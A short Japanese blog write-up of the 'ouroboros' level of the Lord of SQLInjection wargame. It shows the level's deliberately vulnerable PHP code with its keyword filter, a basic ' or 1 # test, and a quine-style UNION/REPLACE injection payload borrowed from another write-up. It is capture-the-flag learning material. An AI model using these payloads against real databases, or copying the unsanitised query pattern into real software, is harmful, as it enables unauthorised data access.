はまやんはまやんはまやん

hamayanhamayan's blog

ouroboros [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
highlight_file(__FILE__);

特徴は以下。

  • pwが入力可能
    • prob,_,.,rollup,join,@がフィルタリング
  • no=1のemail要素を抜き出す

とりあえず、いつものやつを入れてみる。
' or 1 #
だが、何も出てこない。何も入ってないみたいだ。

Quine SQL query

自分自身を作成するQuine SQL queryを作成しよ…ズルしてしまった。

  • |Lord of SQL_injection| #30 Ouroboros :: 보안 한 걸음
    • ' union SELECT REPLACE(REPLACE('" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine%23',CHAR(34),CHAR(39)),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine%23') AS Quine%23

正直ちょっとでも応用されたら作れないと思う。